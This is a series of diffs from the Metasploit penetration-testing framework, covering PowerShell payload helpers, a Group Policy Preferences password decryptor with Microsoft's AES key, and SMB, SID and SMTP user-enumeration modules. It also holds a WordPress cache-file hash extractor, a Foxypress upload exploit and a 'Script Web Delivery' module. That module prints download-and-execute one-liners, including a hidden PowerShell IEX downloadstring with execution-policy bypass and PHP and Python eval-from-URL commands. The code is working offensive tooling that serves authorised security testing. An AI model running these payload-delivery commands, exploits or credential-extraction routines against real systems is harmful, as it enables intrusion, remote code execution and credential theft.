# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
##
module PshMethods
#
# Download file via .NET WebClient
#
# @param src [String] URL to the file
# @param target [String] Location to save the file
#
# @return [String] Powershell code to download a file
def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end
#
# Uninstall app, or anything named like app
#
# @param app [String] Name of application
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
# the application name
#
# @return [String] Powershell code to uninstall an application
def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq'
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
# @param str [String] String to create as a SecureString
#
# @return [String] Powershell code to create a SecureString
def self.secure_string(str)
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
#
# Find PID of file lock owner
#
# @param filename [String] Filename
#
# @return [String] Powershell code to identify the PID of a file
# lock owner
def self.who_locked_file(filename)
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
#
# Return last time of login
#
# @param user [String] Username
#
# @return [String] Powershell code to return the last time of a user
# login
def self.get_last_login(user)
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end
end

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'rex'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
attr_reader :functions, :rig
include Output
include Parser
include Obfu
# Pretend we are actually a string
extend Forwardable
# In case someone messes with String we delegate based on its instance methods
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with?
def initialize(code)
@code = ''
@rig = Rex::RandomIdentifierGenerator.new
begin
# Open code file for reading
fd = ::File.new(code, 'rb')
while (line = fd.gets)
@code << line
end
# Close open file
fd.close
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat code as a... code
@code = code.to_s.dup # in case we're eating another script
end
@functions = get_func_names.map { |f| get_func(f) }
end
##
# Class methods
##
#
# Convert binary to byte array, read from file if able
#
# @param input_data [String] Path to powershell file or powershell
# code string
# @param var_name [String] Byte array variable name
#
# @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte
if input_data.include? "\x00"
code = input_data
else
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
end
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length - 1) do |byte|
if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join('') + "\r\n"
end
#
# Return list of code modifier methods
#
# @return [Array] Code modifiers
def self.code_modifiers
instance_methods.select { |m| m =~ /^(strip|sub)/ }
end
end # class Script
end
end
end

View File

@ -129,14 +129,40 @@ class GPP
# Decrypts passwords using Microsoft's published key:
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
def self.decrypt(encrypted_data)
unless encrypted_data
return ""
end
password = ""
return password unless encrypted_data
password = ""
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
retries = 0
original_data = encrypted_data.dup
begin
mod = encrypted_data.length % 4
# PowerSploit code strips the last character, unsure why...
case mod
when 1
encrypted_data = encrypted_data[0..-2]
when 2, 3
padding = '=' * (4 - mod)
encrypted_data = "#{encrypted_data}#{padding}"
end
# Strict base64 decoding used here
decoded = encrypted_data.unpack('m0').first
rescue ::ArgumentError => e
# Appears to be some junk UTF-8 Padding appended at times in
# Win2k8 (not in Win2k8R2)
# Lets try stripping junk and see if we can decrypt
if retries < 8
retries += 1
original_data = original_data[0..-2]
encrypted_data = original_data
retry
else
return password
end
end
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")

View File

@ -3,6 +3,7 @@ require 'digest/md5'
require 'digest/sha1'
require 'stringio'
require 'cgi'
require 'rex/exploitation/powershell'
%W{ iconv zlib }.each do |libname|
begin
@ -305,19 +306,7 @@ module Text
# Converts a raw string to a powershell byte array
#
def self.to_powershell(str, name = "buf")
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
code = str.unpack('C*')
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
else
buff << ",0x#{code[byte].to_s(16)}"
end
end
return buff
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
end
#

View File

@ -0,0 +1,50 @@
require 'json'
module Sqlmap
class Manager
def initialize(session)
@session = session
end
def new_task
res = @session.get('/task/new')
return JSON.parse(res.body)
end
def delete_task(task_id)
res = @session.get('/task/' + task_id + '/delete')
return JSON.parse(res.body)
end
def set_option(task_id, key, value)
post = { key => value }
res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'})
return JSON.parse(res.body)
end
def get_options(task_id)
res = @session.get('/option/' + task_id + '/list')
return JSON.parse(res.body)
end
def start_task(task_id, options = {})
res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'})
return JSON.parse(res.body)
end
def get_task_status(task_id)
res = @session.get('/scan/' + task_id + '/status')
return JSON.parse(res.body)
end
def get_task_log(task_id)
res = @session.get('/scan/' + task_id + '/log')
return JSON.parse(res.body)
end
def get_task_data(task_id)
res = @session.get('/scan/' + task_id + '/data')
return JSON.parse(res.body)
end
end
end

View File

@ -0,0 +1,37 @@
module Sqlmap
class Session
def initialize(host, port = 8775)
@host = host
@port = port
end
def get(uri, headers = nil, params = nil)
c = Rex::Proto::Http::Client.new(@host, @port)
args = {
'uri' => uri
}
args['headers'] = headers if headers
args['vars_get'] = params if params
res = c.request_cgi(args)
res = c.send_recv(res)
return res
end
def post(uri, headers = nil, data = nil, originator_args = nil)
c = Rex::Proto::Http::Client.new(@host, @port)
args = {
'uri' => uri,
'method' => 'POST'
}
args.merge!(originator_args) if originator_args
args['headers'] = headers if headers
args['data'] = data if data
res = c.request_cgi(args)
res = c.send_recv(res)
return res
end
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary
'Author' =>
[
'patrick',
'j0hn__f'
],
'References' =>
[
@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
vprint_status("Connecting to the server...")
def check_path(path)
begin
connect()
smb_login()
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
fd.close
end
rescue ::Rex::HostUnreachable
vprint_error("Host #{rhost} offline.")
rescue ::Rex::Proto::SMB::Exceptions::LoginError
vprint_error("Host #{rhost} login error.")
if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
fd.close
end
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY"
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND"
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND"
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
case e.get_error(e.error_code)
when "STATUS_FILE_IS_A_DIRECTORY"
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
when "STATUS_OBJECT_NAME_NOT_FOUND"
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_OBJECT_PATH_NOT_FOUND"
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_ACCESS_DENIED"
vprint_error("Host #{rhost} reports access denied.")
elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME"
when "STATUS_BAD_NETWORK_NAME"
vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!")
elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES"
when "STATUS_INSUFF_SERVER_RESOURCES"
vprint_error("Host #{rhost} rejected with insufficient resources!")
when "STATUS_OBJECT_NAME_INVALID"
vprint_error("opeining \\#{path} bad filename")
else
raise e
end
end
end
def run_host(ip)
vprint_status("Connecting to the server...")
begin
connect
smb_login
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
datastore['RPATH'].each_line do |path|
check_path(path.chomp)
end #end do
rescue ::Rex::HostUnreachable
vprint_error("Host #{rhost} offline.")
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("Host #{rhost} login error.")
rescue ::Rex::ConnectionRefused
print_error "Host #{rhost} unable to connect - connection refused"
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}"
end # end begin
end # end def
end

View File

@ -6,8 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
'Description' =>
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
so it can be vulnerable. These cache files are in the webroot of the Wordpress
installation and can be downloaded if the name is guessed. This modules tries to
@ -25,76 +24,81 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '88744'],
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
['OSVDB', '88744'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
],
'Author' =>
[
'Christian Mehlmauer', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
'Christian Mehlmauer', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
]
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
], self.class)
end
def wordpress_url
url = target_uri
url.path << "/" if url.path[-1,1] != "/"
url
def table_prefix
datastore['TABLE_PREFIX']
end
def site_iterations
datastore['SITE_ITERATIONS']
end
def user_iterations
datastore['USER_ITERATIONS']
end
# Call the User site, so the db statement will be cached
def cache_user_info(user_id)
user_url = normalize_uri(wordpress_url)
user_url = normalize_uri(target_uri)
begin
send_request_cgi(
{
"uri" => user_url,
"method" => "GET",
"vars_get" => {
"author" => user_id.to_s
}
})
'uri' => user_url,
'method' => 'GET',
'vars_get' => {
'author' => user_id.to_s
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Unable to connect to #{url}")
return nil
vprint_error("Unable to connect to #{user_url}")
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("Unable to connect to #{url}")
return nil
vprint_error("Unable to connect to #{user_url}")
end
nil
end
def run_host(ip)
users_found = false
for site_id in 1..datastore["SITE_ITERATIONS"] do
(1..site_iterations).each do |site_id|
vprint_status("Trying site_id #{site_id}...")
for user_id in 1..datastore["USER_ITERATIONS"] do
(1..user_iterations).each do |user_id|
vprint_status("Trying user_id #{user_id}...")
# used to cache the statement
cache_user_info(user_id)
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
query = "SELECT * FROM #{table_prefix}users WHERE ID = '#{user_id}'"
query_md5 = ::Rex::Text.md5(query)
host = datastore["VHOST"] || ip
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
host = datastore['VHOST'] || ip
key = "w3tc_#{host}_#{site_id}_sql_#{query_md5}"
key_md5 = ::Rex::Text.md5(key)
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
url << hash_path
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
result = nil
begin
result = send_request_cgi({ "uri" => url, "method" => "GET" })
result = send_request_cgi('uri' => url, 'method' => 'GET')
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect to #{url}")
break
@ -103,8 +107,8 @@ class Metasploit3 < Msf::Auxiliary
break
end
if result.nil? or result.body.nil?
print_error("No response received")
if result.nil? || result.body.nil?
print_error('No response received')
break
end
@ -113,18 +117,18 @@ class Metasploit3 < Msf::Auxiliary
print_good("Username: #{match[0]}")
print_good("Password Hash: #{match[1]}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => ssl ? "https" : "http",
:user => match[0],
:pass => match[1],
:active => true,
:type => "hash"
host: rhost,
port: rport,
sname: ssl ? 'https' : 'http',
user: match[0],
pass: match[1],
active: true,
type: 'hash'
)
users_found = true
end
end
end
print_error("No users found :(") unless users_found
print_error('No users found :(') unless users_found
end
end

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']),
OptString.new('DATA', [false,'HTTP body data', '']),
OptInt.new('DEPTH', [true, 'Traversal depth', 5]),
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']),
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']),
OptPath.new(
'FILELIST',
[

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
save_source.puts(res.body.to_s)
save_source.close
print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
else
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
:port => datastore['RPORT'],
:name => "nessus-xmlrpc",
:info => 'Nessus XMLRPC',
:state => 'UP'
:state => 'open'
)
else
vprint_error("Wrong HTTP Server header: #{res.headers['Server'] || ''}")

View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'SMB Local User Enumeration (LookupSid)',
'Name' => 'SMB SID User Enumeration (LookupSid)',
'Description' => 'Determine what users exist via brute force SID lookups.
This module can enumerate both local and domain accounts by setting
ACTION to either LOCAL or DOMAIN',
@ -29,6 +29,8 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
# Samba doesn't like this option, so we disable so we are compatible with
# both Windows and Samba for enumeration.
'DCERPC::fake_bind_multi' => false
},
'Actions' =>
@ -49,6 +51,10 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RPORT', 'RHOST')
end
# Constants used by this module
LSA_UUID = '12345778-1234-abcd-ef00-0123456789ab'
LSA_VERS = '0.0'
LSA_PIPES = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC }
# Locate an available SMB PIPE for the specified service
def smb_find_dcerpc_pipe(uuid, vers, pipes)
@ -128,11 +134,6 @@ class Metasploit3 < Msf::Auxiliary
[ uinfo[3], name ]
end
@@lsa_uuid = '12345778-1234-abcd-ef00-0123456789ab'
@@lsa_vers = '0.0'
@@lsa_pipes = %W{ LSARPC NETLOGON SAMR BROWSER SRVSVC }
# Fingerprint a single host
def run_host(ip)
@ -145,7 +146,7 @@ class Metasploit3 < Msf::Auxiliary
lsa_handle = nil
begin
# find the lsarpc pipe
lsa_pipe = smb_find_dcerpc_pipe(@@lsa_uuid, @@lsa_vers, @@lsa_pipes)
lsa_pipe = smb_find_dcerpc_pipe(LSA_UUID, LSA_VERS, LSA_PIPES)
break if not lsa_pipe
# OpenPolicy2()
@ -201,11 +202,9 @@ class Metasploit3 < Msf::Auxiliary
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
domain_sid, domain_name = smb_parse_sid(resp)
# Store SID, local domain name, joined domain name
print_status("#{ip} PIPE(#{lsa_pipe}) LOCAL(#{host_name} - #{host_sid}) DOMAIN(#{domain_name} - #{domain_sid})")
domain = {
:name => host_name,
:txt_sid => host_sid,
@ -213,8 +212,17 @@ class Metasploit3 < Msf::Auxiliary
:groups => {}
}
target_sid = host_sid if action.name =~ /LOCAL/i
target_sid = domain_sid if action.name =~ /DOMAIN/i
target_sid = case action.name.upcase
when 'LOCAL'
host_sid
when 'DOMAIN'
# Fallthrough to the host SID if no domain SID was returned
unless domain_sid
print_error("#{ip} No domain SID identified, falling back to the local SID...")
end
domain_sid || host_sid
end
# Brute force through a common RID range
500.upto(datastore['MaxRID'].to_i) do |rid|
@ -269,10 +277,9 @@ class Metasploit3 < Msf::Auxiliary
)
print_status("#{ip} #{domain[:name].upcase} [#{domain[:users].keys.map{|k| domain[:users][k]}.join(", ")} ]")
# cleanup
disconnect
return
rescue ::Timeout::Error
rescue ::Interrupt
raise $!

View File

@ -70,11 +70,11 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
users_found = {}
result = nil # temp for storing result of SMTP request
code = 0 # status code parsed from result
vrfy = true # if vrfy allowed
expn = true # if expn allowed
rcpt = true # if rcpt allowed and useful
result = nil # temp for storing result of SMTP request
code = 0 # status code parsed from result
vrfy = true # if vrfy allowed
expn = true # if expn allowed
rcpt = true # if rcpt allowed and useful
usernames = extract_words(datastore['USER_FILE'])
cmd = 'HELO' + " " + "localhost" + "\r\n"
@ -94,20 +94,20 @@ class Metasploit3 < Msf::Auxiliary
end
domain = result.split()[1]
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")
result, code = smtp_send("VRFY root\r\n")
vrfy = (code == 250)
users_found = do_enum('VRFY', usernames) if (vrfy)
users_found = do_enum('VRFY', usernames) if (vrfy)
if(users_found.empty?)
# VRFY failed, lets try EXPN
result, code = smtp_send("EXPN root\r\n")
expn = (code == 250)
users_found = do_enum('EXPN', usernames) if(expn)
users_found = do_enum('EXPN', usernames) if(expn)
end
if(users_found.empty?)

View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
this_host = nil
if full_match
print_good "Identified #{full_match[1]}"
print_good("#{rhost}:#{rport} - Identified #{full_match[1]}")
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
end
if os_match and ver_match and build_match

View File

@ -4,16 +4,18 @@
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Script Web Delivery',
'Description' => %q{
'Description' => %q(
This module quickly fires up a web server that serves a payload.
The provided command will start the specified scripting language interpreter and then download and execute the
payload. The main purpose of this module is to quickly establish a session on a target
@ -23,13 +25,13 @@ class Metasploit3 < Msf::Exploit::Remote
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
x86 payloads on x64 machines.
},
),
'License' => MSF_LICENSE,
'Author' =>
[
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
'Ben Campbell',
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
],
'DefaultOptions' =>
{
@ -37,12 +39,12 @@ class Metasploit3 < Msf::Exploit::Remote
},
'References' =>
[
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
],
'Platform' => %w{python php win},
'Platform' => %w(python php win),
'Targets' =>
[
['Python', {
@ -53,41 +55,45 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'php',
'Arch' => ARCH_PHP
}],
['PSH_x86', {
['PSH', {
'Platform' => 'win',
'Arch' => ARCH_X86
}],
['PSH_x64', {
'Platform' => 'win',
'Arch' => ARCH_X86_64
}],
'Arch' => [ARCH_X86, ARCH_X86_64]
}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2013'
))
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
if (target.name.include? "PSH")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
def on_request_uri(cli, _request)
print_status('Delivering Payload')
if target.name.include? 'PSH'
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
else
data = %Q|#{payload.encoded} |
data = %Q(#{payload.encoded} )
end
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
def primer
url = get_uri()
print_status("Run the following command on the target machine:")
url = get_uri
print_status('Run the following command on the target machine:')
case target.name
when "PHP"
when 'PHP'
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
when "Python"
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when "PSH_x86", "PSH_x64"
when 'PSH'
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
print_line generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
end
end
end

View File

@ -8,17 +8,19 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q{
'Description' => %q(
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plug-in versions 0.4.2.1 and below are vulnerable.
},
plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable.
),
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
@ -28,78 +30,55 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
['EDB', '18991'],
['OSVDB', '82652'],
['BID', '53805'],
['OSVDB' '82652'],
['BID', '53805']
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def check
uri = target_uri.path
res = send_request_cgi({
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php")
})
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
)
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
post_data = Rex::MIME::Message.new
